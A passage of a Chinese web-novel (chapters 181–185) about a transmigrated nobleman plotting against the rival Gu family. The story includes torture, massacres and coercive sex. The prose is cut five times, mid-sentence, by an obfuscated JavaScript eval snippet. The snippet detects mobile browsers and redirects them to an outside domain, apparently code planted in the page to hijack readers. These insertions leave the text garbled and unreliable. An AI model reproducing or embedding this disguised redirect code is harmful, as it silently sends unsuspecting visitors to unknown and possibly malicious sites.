她的白色素衣轻轻敞开着领口,一抹翠绿的裹胸与一线如雪般皎洁的肌肤若隐若现,恰到好处地展现着属于她自己的风情万种。 这是个懂得彰显自己美丽的女人,难怪顾北辰一来这里就把她给强上了。 林臻不打算走顾北辰的路,他需要利用好这个女人。 “你们打算一个半月后进攻清河县是吧?林臻一边说一边盯着楚惜灵的脸。 果然,她脸上的嘲弄与戏谑仿佛被一阵风吹散,取而代之的是一抹不易察觉的僵硬,眼中的光芒也暗淡了几分。 林臻继续说道:“你们领兵的将军叫项英,因为听了顾北辰的意见所以采取只围不攻的战略,让林震仙断绝粮草,不战而败,我说的可对? “你楚惜灵还未说话便被林臻打断。 “我不知道你们是怎么和顾家联系上的,我只能告诉你,在你入住皇宫的这段时间里发生了太多的事情,顾家早已经没有了当时的地位,陛下也开始与我林家合作,所以,你们南楚的奸计注定是要落空了。 楚惜灵不自觉地坐直了身体,面露警惕。 “这些都是顾北辰告诉你的? 林臻冷笑道:“呵呵呵呵,我就猜到你会这么说。你是不是认为陛下忌惮我林家兵权,所以会选择与顾家合作,从而让林家兵败身亡呢?我告诉你,这是不可能的。顾北辰骗了你们。 楚惜灵闻言,一时间竟无言以对,只是静静地坐着,心中五味杂陈。 战争之中,最大的忌讳便是让敌人看破自己的布局。 这就如同下棋一样,一步错步步错,最终导致满盘皆输。 而从林臻的口吻中可以看出,南楚这次应该是输定了,毕竟楚惜灵现在根本传不出去任何消息。 林臻缓缓起身,以一种近乎君临天下的姿态俯视着她。 “如果你愿意帮我一个忙,我就在楚国覆灭的时候,饶你父母一命。 楚惜灵冷笑:“呵,凭你乾国的国力也想吞并大楚,痴人说梦。 林臻望天,仿佛世间万物皆不入他的眼,态度洒脱。 “不同意便罢了,也无所谓。我只是 怜香惜玉,看不得美人落泪而已。” 言罢他便走了。 他已经得到了自己想要的答案。 那就是,这个世界原有的轨迹还在进行,并没有因为自己的出现而打乱楚国的进攻计划。 如此,林臻有信心在这一场战争中,打得楚国毫无还手之力。 耳边传来楚惜灵的声音。 “等等!你能不能告诉我,你为什么会懂那么多东西?为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789313|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么能在皇帝寿宴上击败我大楚!” “喂!” “站住!” 咚—— 朱门关合。 林臻没有回头。 回到王府,林臻收到一封信。 是胖子。 这真是奇了,连写自己名字都费劲的家伙居然也写上信了。 林臻淡笑着摇摇头,打开后看到上面那娟秀的小楷,一撇一捺皆有大家之风,便更加确定,这肯定不是他本人写的,估计是抢了哪个大户人家的闺女,逼着人家写着。 信中交代,他已经带着兵马顺利抵达了玄菟,并且杀了一批不听话的当地豪族。 他所谓的不听话,就是因为这些豪门大户不给他交保护费。 他要的也确实是多了点,不管家里几口人,按人头分,一人五千两银子,没有钱就用值钱的物件抵。 这些豪门哪里会同意这样的无理要求,每年给朝廷上税还上不过来呢。 结果胖子一怒之下亲自披挂上阵,带兵去抢,不管是金银首饰,古董花瓶,但凡能换成银两的物件,皆被他洗劫一空,最后还把人全家杀了个干干净净。 胖子交代,三天时间一共抢了十二家,杀了上千人。 其余的几大家族,目睹了胖子的残暴行径,无不心惊胆战,纷纷选择破财消灾,乖乖奉上金银财宝。 然而,胖子为求一劳永逸,斩草除根,竟连这些已屈服的家族也没放过,不管男女老少一律灭门。可谓是发了笔横财。 好家伙,我就说嘛。把胖子派到玄菟根本就不是惩罚,而是奖赏。 古有孙策屠戮世家,不斩草除根,结果被反杀;今有王胖子学株连十族,把豪门杀的一干二净,不留活口。 这么一看,胖子好像还比孙策强点? 在信的末尾,胖子讲述了他路过辽东时看到的场景。 百姓们流离失所,食不果腹,一人一根打狗棍沿着河道往山海关逃难。 尤其是重灾区,草根树皮被啃得精光,易子而食暂时还不至于,但日子过得很是艰苦。 由此可见,朝廷的赈灾粮压根就没落到百姓手里头,全成了某些人腰包里的铜板。 估计这也是林震仙亲自去辽东的原因吧。 林臻喊来浣碧研墨,给胖子写了回信,告诉他下一步应该怎么办,如何进攻鲜卑之类的。 八牛弩的生产如火如荼,几乎是每生产五架就会给胖子送去,算算时间,第一批也该到了。 有了这些大杀器,统一外东北,指日可待。 林臻搁笔,满意地审视着墨迹未干的信件,随后交给浣碧,让他交给龙骧营的将士送出去。 这时,侯春回来了。 并且带来了一个很不好的消息。 第181章 老爷,快些嘛 书房内,侯春单膝跪地。 “世子!” “嗯。”林臻点头:“可问出来什么?” “属下把那小厮抓到了内院,狠狠打了一顿。他说让他办这件事情的,是京城富商赵大宝。” 又是赵大宝? 前些时日海棠要刺杀的人不就是赵大宝吗? 林臻敏锐地觉察到此事背后暗藏玄机,于是又追问道:“然后呢?” “属下不敢擅自做主,只给了小厮一些钱,让他回去后什么都不许说。” “可靠吗?” “属下已经抓住了那小厮的老娘,以此作为牵制,想来应该可靠。” “办的好!”林臻的脸上浮现出一抹赞许之色,对侯春的处理方式颇为满意。 小小年纪行事就能如此周密,日后必能成为栋梁之才,值得重点栽培。 “赵大宝”林臻念叨着这个名字。 在原书中对他的记载不多,只知道他是顾北辰手下的一个大掌柜,很有经营头脑,也很受顾北辰器重,但至于海棠为什么要杀他,并没有说明。 可恶的作者,东一榔头西一棒子地乱写,搞得我现在都不知道该怎么办才好了。 林臻略有些懊恼地问道:“你可知道赵大宝的行踪?” “属下去赌场问了张俪夫人,夫人说赵大宝今天要宴请别国客人,已经包下了醉仙楼,通宵达旦。” “有点意思,密切关注他的动向,如果酒席散后他要回家,就把他抓回来!切记,不能走露一点风声。” “是!” 侯春走了。 这件事情也就该浮出水面了。 顾府。 顾北辰躺在床上,脖子上缠着好几圈纱布,脸色苍白中夹杂着难以言喻的苦楚。 这位昔日里风光无限的天之骄子,竟险些丧命于一名江湖女子的剑下。可笑的是,那女子竟是他自己重金聘请来的帮手。 现在这事儿都快传遍四九城了,对于爱面子的顾北辰而言,心头的屈辱远远比肉体上的创伤更加难受。 顾云霆坐在他旁边,眼睛瞪得溜圆,盯着小厮。 “你说什么?林臻去了皇宫,还和陛下在华清池散步?” 小厮低头,声音恭谨。 “是,消息是嬛嬛姑娘传回来的,非常可靠。” “不好,陛下现在是越来越器重林臻了。”顾云霆眼中闪过浓浓的担忧,他转而凝视着儿子顾北辰,语气急切,“北辰,我们恐怕得早做打算啊。” 顾北辰言语间略显吃力。 “父亲,我们恐怕已经没有机会了。” “什么意思!?” 顾北辰绝望地仰望天花板,声音细若游丝,却字字沉重。 “我顾家已然失宠,而乾楚大战又近在眼前,陛下是不会相信我们,选择与我们合作的了。所以林震仙不会死,林家也不会灭亡。倘若林震仙此番再力克南楚,其声望必将如日中天,无人能及。届时,我顾家也就没有了存在下去的必要。” “你的意思是,陛下要卸磨杀驴?” “我不相信天道的事情陛下不知道,而他居然不闻不问,甚至我身受重伤,卧榻难起,他也没有来探望,这与之前判若两人。”顾北辰叹了口气,“唉,林臻已经彻底赢得了陛下的信任,所以.我们已经无力回天了。” “那怎么办!我顾家百年家业,总不能就这么没了吧!” 顾北辰闻言愣了几秒,突然神色一凛。“呵,不过是个皇帝而已,他不信我们,难道别人也不信我们?大不了换个皇帝就是了。” “你的意思是我们造反??儿砸,你是不是疯了?”顾云霆眼珠子瞪得老大,却见顾北辰回瞪他一眼。 “你才疯了呢!大乾容不下我们,我们可以去南楚,去大秦,去哪不行啊?难道非得造反?亏你想得出来!” “哦,好像也是哦” 顾北辰翻了个白眼。 就这水平还教训我呢。 没有我出谋划策,你这便宜老子根本就当不上丞相。 “那你说我们去哪?” “我早就已经联系了南楚的清秋公主,但是没想到被林臻给扣在皇宫里了,我们想办法把清秋公主救出来,当做投名状送回南楚。等大战开始,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789314|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻倒戈,将林震仙所有的情报都给南楚,如此一来,楚霸天定不会亏待我们父子俩的。” “好主意!就这么办!”顾云霆想起还有事情,于是说道:“儿啊,你好好休息,为父还得去参加赵大宝的宴请,据说他这次找来了很多外国的商贾,要谈合作的事情。” “嗯,告诉赵大宝,让他帮助我们尽快把京城的财产转移,大战近在眼前,事不宜迟。” “好。” 顾云霆出门,回到自己的卧房。 此时在卧房里的人,并不是他的妻子,而是李蕊。 这个“整容女”以她独有的方式,将顾云霆侍奉得周身酸爽,舒舒服服,仿佛置身于云端之上。 李蕊不仅精通诸多房中雅趣,更难得的是,她从不 轻易流露出一丝不满或抱怨。 相较于顾云霆府中那些时常因欲求不满而暗自叹息、嗔怪的小妾们,李蕊总能在每一次亲密交流中展现出极致的欢愉,哪怕只有一分钟,也能让她沉醉其中,脸上洋溢着满足与享受的笑靥。 更令人钦佩的是,李蕊的心性淡泊如水,从不主动索取,亦不争宠斗艳。顾云霆赠予她的任何物件,她总是能温婉地推辞,若实在推辞不得,便会巧妙地回馈,既不失风度,又彰显智慧。 平日里,与诸位姐妹相处,她总是和颜悦色,温暖如春。 一个不图钱财不图名利,只图自己所爱的女人,是所有男人都欲罢不能的存在,即便是阅尽沧桑的顾云霆,也难免对她有着超乎寻常的疼爱与信任。 李蕊早就准备好了赴宴穿的外袍,见顾云霆进来便起身,嗲嗲地说道:“老爷~快些嘛,再磨蹭就来不及了呢。” 顾云霆笑呵呵地脱掉衣服,任由李蕊一件件给他穿上,穿好以后在她丰满的屁股上轻轻一拍。 pia~ “美人啊,等老夫回来再好好陪你。” “是~妾身恭候老爷~” 李蕊都被自己的话恶心到了。 但是没办法,她的任务就是要把顾云霆伺候爽了,让顾云霆彻底的爱上她,信任她,从而能更顺利的杀掉他。 第182章 胸前湿了一大片 次日清晨,林臻缓缓睁开朦胧的双眼,顿时有一股难以言喻的酸痛席卷全身。 昨日一天的疲劳到底还是埋下了祸根。 他侧过身头疼地瞧了瞧后腰。 唉,这具身体还是太差了呀。 回想起以前上大学的时候,白天和朋友打台球,下午去网吧,晚上吃饭喝酒,半夜KTV里喊麦,后半夜再捏个脚一直到第二天早上直接回去上早课。 就这样糟践,也没见身体有什么病症,期末的时候哪一科没挂。 现在倒好,一天不睡觉,身体便如同被抽干了力气似的,疲惫不堪。 这可不行,身体是革命的本钱。 以后必须得早起晨练,争取打造出一副好的身体! 于是林臻下定决心,瞬间出手,把进屋放洗脸盘的浣碧拉进被窝里。 “哎呀!世子!浣碧吓坏了,像个小猫似的蜷缩在林臻怀里,声音中带着几分羞赧与惶恐。 “世子,这可万万使不得!!大清早的若是被旁人撞见,妾身可就没脸见人了! “以后天天早上都是这一出,你们四个姐妹自己去商量谁来,要不然就值班,一人三天轮换。 浣碧闻言,脸颊更是绯红一片,忍不住的娇嗔。 “哎呀世子,要来也得是从晴雯那妮子开始啊!妾身.妾身还有许多活儿要做呢。哎呀!世子!! “不忙,就半个时辰。 林臻哪里会允许她拒绝,很快晨练就开始了。 其实琢磨琢磨林臻做得也没毛病,跑步是有氧运动,衾禂也是有氧运动。 前者强身健体,后者是又键又舒服。 此乃一举两得之大善也。 半个时辰后林臻光着膀子,浑身大汗的走进院子里洗漱。 浣碧颤抖着双腿扶着门,贝齿轻咬的看着他,嗔怪的道:“可恶的世子,这让人家怎么干活嘛! 言罢她扶着墙壁缓慢走向后厨房,林臻从井里打了桶水,举起来,从头顶淋下。 哗啦啦—— “呼呼呼呼!好凉啊!林臻像螃蟹抓电线似的,张牙舞爪,上蹿下跳地打摆子,随即赶紧跑回房间用毛巾将浑身擦干净。 这时,浣碧也取了早餐回来,见林臻光着屁股站在原地。 她无奈地摇摇头,取来新衣服给她穿上,边穿边念叨:“古人都说一日自己在于晨。您可倒好,心思那档子事也不分个早晚,弄得奴婢现在还酸呢。 浣碧的手很快,衣服穿好以后便 开始伺候林臻吃饭。 她乖巧地站在一边,时而给林臻夹菜,时而端起热粥轻轻吹气,然后喂到他嘴里。餐后,她又递上茶盏,待林臻漱口完毕,还以柔软的丝帕轻轻拂去他唇边的水渍,一举一动间尽显体贴入微。 林臻刚刚吃完,门外忽地响起一阵急促的脚步声,伴随着侯春略带喘息的呼唤:“世子! “进来。 侯春进来,单膝跪地:“世子,赵大宝昨天喝酒喝了一夜,刚被属下抓回来,您看该如何处置? “带我去。 林臻立刻起身,跟着侯春来到护卫营。 护卫营有一个房间,这个房间很特殊,也很突兀,因为他四面都没有窗户,只有一个地洞作为出风口。 这就是传说中的禁闭室。 只不过现在并没有关禁闭这个说法,只是拿他来当小黑屋使用,哪个奴才、丫鬟要是不听话,就会被打一顿然后丢进这里。 林臻看了看禁闭室的大门,又看了看树上那几个被捆的结结实实的护卫。 他想起海棠刺杀赵大宝的当天。 那天他身边有一众护卫,所以才导致海棠失手,但是今天侯春是直接带龙骧营去的,大刀一亮,几个护卫乖乖地就跟着走了,回来后被侯春一股脑都捆在院子里的大树上,只有赵大宝自己在这。 门打开,一束突如其来的阳光如利剑般穿透昏暗,令赵大宝不由自主地眯起了眼。 林臻也是第一次见到赵大宝,只见这厮胖得出奇,一张大肥脸上的有六个下巴,身着华贵的蜀锦长袍,腰间悬挂着一块世间罕见的白玉,手指上的那枚翠玉扳指比慕容嫣的都大,也不知道他哪来这么大胆子。 估计是请客的时候装逼用的吧,想着喝完酒坐马车回家,也没想到会被人抓来。 他见到林臻,当即就跪在地上嚎啕大哭。 “世子!!呜呜呜呜. 这一哭把林臻哭愣住了,他蹲下身:“哭什么哭?憋回去!! 那赵大宝哭得更加伤心了,很快胸前就湿了一大片。 “世子爷!呜呜呜,小人自问可没做过任何跟您过不去的事情,您绑小人做什么呀!呜呜呜小人家里上有老,下有小,求您大发慈悲,高抬贵手啊呜呜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789315|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呜. 林臻戏谑地笑道:“高抬贵手?呵,行啊,两件事!答应我,我便放了你。 赵大宝一听,连忙止住哭泣。 “世子,别说两件事,就是两百件,小的赵大宝赴汤蹈火,也在所不辞! 早就看出来这是个没有骨头的软柿子,如此便好办了。 “告诉我,谁让你替刘翰阳卖房子的?” “这”赵大宝一犹豫,林臻神色一凛,一拳狠狠打在他鼻子上。 砰—— 赵大宝捂住鼻子,整张脸都扭曲了起来。 “哎呀!!呜呜呜.我说,我说,世子” 林臻拿出手帕抵在他鼻子上。 “赶紧擦了,万一流在衣服上,这事儿可就瞒不住了。” “是是是,我擦我擦,呜呜呜呜” “说。” “是顾南山.” 林臻眼睛微眯。 果然是他! 刘翰阳既然把房子的事情交给他,那就证明他肯定和拜火教有联系,否则拜火教不会半路冲出来保护刘翰阳。 奶奶的,老东西,这次我非提前弄死你不可。 林臻揪住赵大宝的脖领子问道:“顾南山最近都在干什么?” “世子,呜呜呜,我哪知道他都在干什么啊?我就是顾家的一个掌柜,他是大管家,他让我卖房子我能不卖吗?” “你就什么都不知道?” “我真的不知道啊!” 砰—— “哎呀!!呜呜呜呜,我的鼻子.” “你说不说!?你要是不说,我就让他们来审你了。”林臻竖起大拇指,指了指身后那些看热闹的壮汉们。 赵大宝都快吓尿了,连连点头。 “我说我说.呜呜呜.顾南山说让我把京城的产业转移” “转移到哪?” “南楚。” “还有呢?” “没有了,真没有了!” 砰—— “啊!别打了世子,小人不禁打啊,呜呜呜.” 妈的。 林臻真的怒了,从侯春腰间抽出长刀,直接抵在赵大宝脖子上。 “我TM最后再问你一遍,把你知道的都说出来,否则我不仅杀你,我还杀你全家!” “别别别!世子,我错了,小人知错了,我说我说!” 第183章 血洗丞相府 赵大宝被林臻的气势吓得鼻涕一把泪一把骚尿汤子控制不住地哗哗往外流。 “世子爷饶命啊!!” “说!!”林臻眼睛都红了。 他本不想杀赵大宝因为那样就会间接帮助到天道所以他极力控制着自己的怒火。 可如果赵大宝一而再再而三的跟他耍心眼他一定会死! “天妈大老爷啊!世子您别杀我我说我说!呜呜呜呜顾南山说让小人把变卖刘家财产的钱全部送到清河县的一处私宅里 清河县。 又是清河县! 看来顾南山也知道了乾楚大战的事情准备在交战之前把钱全部转移到南楚境内然后借助拜火教和南楚的力量东山再起。 奶奶的绝不能让他得逞! 林臻眼神不断变幻考虑过后对侯春说道。 “猴子立刻派人去封锁城门一个时辰内任何人都不许进出!另外告诉京兆尹包涉说明情况让他不要插手。再命人去宫里告诉慕容无舌务必看好楚惜灵!我怀疑顾家的人会想办法把他带走以此来与南楚交换利益。” 林臻把能想到的可能性都说了如果再出意外那就是老天爷不给面子了。 侯春点头道:“是那世子呢?” “我要带兵去顾家。” 另一边顾府。 顾南山身为顾府大管家地位超然不仅有自己的别院还有自己的丫鬟仆役。 但是顾云霆肯定想不到就在他眼皮子地下顾南山的别院已经变成了他最强大的情报中心顾府内任何的一举一动都逃不脱他的法眼。 而且别院内全都是他的心腹小弟几乎没有秘密能从这里泄露出去。 此时顾南山坐在主位上听着手下的汇报言毕他突然放下茶盏皱起眉头。 “你说什么?赵大宝被林臻抓走了?” 小厮回答:“没错小的看得很清楚肯定是龙骧营没有错。” “坏了林臻难道是收到了什么风声不成?”顾南山立刻有一种不详的预感涌上来。 若放在以前他肯定会稳坐钓鱼台静看事态发展即便林臻打上门来他也不怕。 但是现在不同了。 林臻早已性格大变变得老奸巨猾老谋深算说不定就真听到了什么风声所以才抓走赵大宝严刑拷问。 同时也因为他开 始联合拜火教,意图谋反的事情,让他觉得有一点点心虚,没办法再气定神闲。 万一林臻真的知道了自己所作所为,然后不顾一切来顾家拿人怎么办? 以现在的情况判断,顾云霆和顾北辰父子俩已经彻底失去了皇帝的宠信,没有了皇帝,他们俩在摄政王府面前就是个能随便拿捏的小鸡崽子,到时候肯定会把自己交出去! 没错,如果自己再不走,肯定会被交出去,到时候不管自己怎样高超的谋划,都会变成水中月、镜中花。 越想越不对劲,越寻思心里越毛。 顾南山感觉自己头皮都快炸了,他看向小厮,咬牙道。 “快去收拾东西!我们得出去躲躲了。 小厮一楞。 “躲?去哪啊? “去喇嘛庙,只有那里才是最安全的地方。 “可是,主公,我们为什么不直接出城去呢? “你傻啊?如果林臻要来顾家拿人,他肯定会先派人封住城门的。你赶紧去,再墨迹就来不及了。 这股不祥的预感越来越严重,顾南山恨不得现在就插上翅膀飞出府去。 然而就在这千钧一发的时候,一个熟悉的人走了进来,带来一个让顾南山炸毛的消息。 “父亲,您快走,林臻带着兵马和八牛弩奔顾府来了!! “什么!? 与此同时,林臻已经带着三十名龙骧营将士以及五架八牛弩来到顾府门口。 他想好了,如果今天顾北辰胆敢窝藏顾南山,他宁可冒天下之大不韪,也把所有阻拦者杀个遍。 林臻把长剑扛在肩膀上,两根手指夹住鬓边长发,轻轻一缕,说不清是潇洒还是痞气地对看门的小厮喊道:“让你家老爷把顾南山交出来,否则我今天就血洗丞相府! “是是.是.小的这就去! 院里一片祥和,丫鬟仆役各做各的事情,对如今顾家面临的情况丝毫不知。 微风吹过一棵极美的梨花树,有片片落叶洒下,丫鬟撅着嘴,又拿起扫把重新打扫,喃喃道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789316|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唉,转眼又要入秋了呢。 就在距离丫鬟不远的卧房里,顾云霆坐在床边。 可以看出这几天他老了许多,本来精神抖擞的脸庞多出许多皱纹,白发也控制不住的开始生长。 他拿着汤碗,用勺子轻轻拨弄,放在嘴边吹了吹,满脸慈爱的看着顾北辰说道。 “儿啊,这是为夫 请孙神仙给开的药方,说治疗创口也奇效,快些喝下。” 顾北辰点点头,撅起嘴巴,父慈子孝的场面十分温馨。 然而就在这个时候,一个小厮“咣当”就把门撞开,摔了进来。 顾云霆吓得手腕一抖,一碗汤药全泼在了顾北辰脸上。 哗—— “啊!!!烫死我了!” “爹!你干嘛呢!” 顾云霆也烫得直嘬手指头。 他气得站起来,直接把汤碗摔在那小厮脸上。 “啪!” “混账!何事让你晃得连门都不会敲了。” “老老老老爷,林臻又打上门来了,这次带着五架八牛弩!” “什么!?” 顾云霆心脏骤停了一下,颓然地坐回床上。 “爹!他还没说什么事情呢,你慌什么!”顾北辰也顾不上疼了,呲牙咧嘴地对小厮喊道:“林臻可有说要干什么?” 小厮吓得都尿裤子了。 “他说要老爷交出顾管家,否则就血洗丞相府!” “顾南山?为什么?” “小的也不知道啊!” 听闻是顾南山,不是自己和顾北辰,顾云霆这才回过神来。 随即想想,顾南山一个老管家怎么会惹到他呢? 他问道。 “儿啊,这顾南山肯定是捅了天大的篓子,我们怎么办?” 顾北辰反问道:“你说呢?” “依我看,死道友不死贫道,反正他也不是我们自己人,给就给了吧。” “那你还问我!赶紧把人送出去啊,难道要等着林臻打进门吗?” “嗯。”顾云霆点点头,看向小厮。 “你,赶紧去把管家叫来。” “是!” 第184章 老东西,成天出去聊骚! 顾北辰摸了摸烫得通红的脸火辣辣的疼。 他甚至不敢睁开眼睛因为只要睁眼他就会想骂娘。 他闭着眼睛忍着剧痛对顾云霆说道:“从今往后不管林臻要干什么我们都答应!只要托到南楚进攻我们就万事大吉!” 顾云霆点点头。 知道林臻的目标是顾南山他也就不害怕了眼见地上的汤匙里还有点药他捡起来说道:“儿啊刚才是爹不小心来来来再喝一口吧这可是孙神仙熬了四个时辰才熬出来的精华啊。” 眼看着顾云霆把勺底那点汤药往自己嘴边送顾北辰皱眉把头扭向一边。 他是真不知道该如何评价这位父亲。 本来脖子都不疼了结果又被烫一下现在整张脸都又疼又痒。 很快小厮跑了回来双膝跪地浑身颤抖。 “老爷顾管家不在府里啊!” 顾云霆气得大骂:“什么?这个老东西成天出去聊骚!赶紧派人去找!” “不用找了。”林臻站在门口戏谑的声音穿透空间飘然而至。 顾云霆和顾北辰同时望去就见两扇古朴大门中间有阳光照射在他身上在地上打出一个硕大的影子。 他肩扛宝剑 顾云霆吓得站了起来。 顾北辰也强忍着疼痛坐直身体靠在床头他用虚弱的语气问道:“林臻我顾家已经到如此地步你为何还咄咄相逼?” 林臻走进来看到顾北辰脖子上的纱布竟忍不住噗嗤笑了出来。 “噗哈哈哈哈顾兄几日不见让人给煮了?” “煮了?!你什么意思?” 顾北辰哪里知道后世的经典广告啊两只螃蟹相遇然后一句“咋了哥们?让人给煮了?” 其实是个感冒药广告. 没头没脑的话顾云霆父子俩谁都没反应过来但见林臻那嘲弄的表情也知道并非什么善语。 可惜现在的顾北辰已经敢怒不敢言了。 顾云霆说道:“林臻我顾家从今天开始将不会再与你作对也请你高抬贵手莫要欺人太甚。” “唉。”林臻假模假样地叹了口气:“我也不想与你们为敌啊但是顾南山惹到了我我要他的脑袋只要你们把他的脑袋给我我保证不打死你们。” 保证不打死. 意思是我这把老骨头临死前还得让你揍一顿? 顾北辰道 :“林臻顾南山根本就不在府上。” “哦?”林臻挑眉“你若是这么说我可要亲自去搜了。如果搜不出来便罢 夜猫子的笑声让顾北辰咬紧牙关一股浓浓的屈辱感涌上心头但却又无能为力。 顾家不仅彻底失去了皇帝宠信甚至还让林臻当着眼前红人加之他手里又有兵权。 此刻的顾家在他面前就和能随意捏死的蚂蚁一样。 “你想搜就搜吧。”言罢顾北辰翻身躺下不再去看林臻。 这倒是把林臻弄得一愣。 难道说顾南山真不在府里? 还是说这父子俩给自己演空城计呢? 抱着宁可杀错不可放过的态度林臻对身后的侯春说道:“城门都封上没有?” 侯春点头。 “世子放心都封上了但是有很多百姓商贾准备出城所以民怨很高。” “那就赶紧派人去搜另外找人画顾南山的画像贴在城门口和城内的交通要道命令士兵严防死守绝不能让顾南山跑了!” “是!”侯春领命而去。 林臻自己搬来一把椅子就坐在顾云霆和顾北辰的对面眼睛一眨不眨地盯着他们父子俩。 曾几何时顾北辰风光无限不仅是状元郎更是天子宠臣目空一切视天下英雄如土鸡瓦狗。 现如今他却只能静静地躺在床上接受最强劲敌林臻的蔑视。 不得不说造化弄人。 林臻这个穿越者凭借自己的先天优势与智慧将这个原本的主角欺凌到如此地步。 爽啊。 自己不仅夺走了他全部气运还夺走了属于他的一切。 想想自己被做成人彘的日子林臻就越觉得此情此景大快人心。 要不要杀他呢林臻眼睛微微眯起有杀意迸现出来。 如今慕容嫣对自己十分信任说不定还产生了情愫但终究是没能突破那最后一关。 如果今天将顾家灭门她会不会因此而改变想法?群臣会不会很有意见地方上会不会有暴动? 这些都是未知数。 唉罢了。 现在顾北辰已经是自己案板上的肉说什么时候剁就可以什么时候剁完全没必要冒风险。 林臻现在唯一想法就是稳。 每一步都要非常稳以免造成不好的结果。 很快侯春跑了回来对林臻说道:“世子顾南山确实不在府上 ,有小厮说看到他带着几个家丁,大包小裹地从后门走了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789317|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑了?” 林臻眼中杀意更浓。 顾南山越是如此,就越说明他心虚,越说明杀他的必要性。 奶奶的,我倒要看看你能跑到哪里去。 林臻看着侯春说道:“立刻去通知城防营、兵马司,以及府内全部龙骧营士兵,全城搜捕顾南山!宁可杀错,不可放过!” “是!” 林臻这是下了决心要铲除顾南山啊。 这到底发生什么了? 顾云霆不由地问道:“林臻,顾南山到底怎么你了?” “呵。”林臻冷笑:“顾相应该还不知道吧?顾南山正在变卖刘翰阳和你家的家产,准备拿这些钱与拜火教沆瀣一气,密谋造反。” “什么?” 顾云霆也在此刻回身,瞪大眼睛,焦急喊道:“不可能!” “不可能?呵,不信你去找个你家的掌柜来,问问他,顾南山是不是在变卖产业?” “那是我命令”顾北辰刚要说话就觉得有些不对,连忙把后半句话咽了回去。 林臻眼睛微眯。 心说,果然! 顾北辰要投靠南楚了。 “呵,是你命令他,把你们产业送到南楚的,是不是?” “.” 顾北辰不言语,但答案已然揭晓。 林臻露出夜猫子的笑声:“桀桀桀桀,顾北辰啊顾北辰,你真以为你们的计划天衣无缝吗?想在乾楚大战的时候叛变,帮南楚打大乾。顾北辰,你有几个胆子?” 顾北辰立刻反驳:“没有,我只不过想帮陛下赚南楚的钱而已。” “哈哈哈哈,顾北辰,这话你自己相信吗?” “爱信不信。”顾北辰转过身去。 林臻拿出宝剑,微微抽开一条缝隙,目光盯着那寒芒说道。 “顾南山已经将你们的产业变卖了,所得钱财全部送到了他在清河的小金库里,估计也是想在乾楚大战的时候投靠南楚,只不过,那可都是你们的钱啊。” 林臻放下宝剑看向顾云霆:“顾相,你养了这样一只咬人的狗,什么滋味?” “顾南山亏老夫几十年来对你信任有加!你竟敢反我!好啊,从此以后,老夫与你势不两立!” 顾云霆没有顾北辰那么深的城府,被林臻一句话激得恼怒不已。 很好。 林臻就希望看到顾家的人狗咬狗,这样在接下来搜捕顾南山的行动中,还会有人帮忙。 第185章 如果世子死了,她一定会很伤心吧? 林臻最后还是没有杀掉顾北辰。 因为他希望杀顾北辰的命令是慕容嫣亲自下达的这样才能证明慕容嫣与他的羁绊彻底断绝。 倒不是说林臻心中有什么情节而是他担心慕容嫣有一天会因为顾北辰的主角光环而反叛。 就像刘书瑶一样。 林臻决不允许身边有深爱顾北辰的女人出现出现一个杀一个绝不手软。 不过就目前的情况来分析这一天很近了。 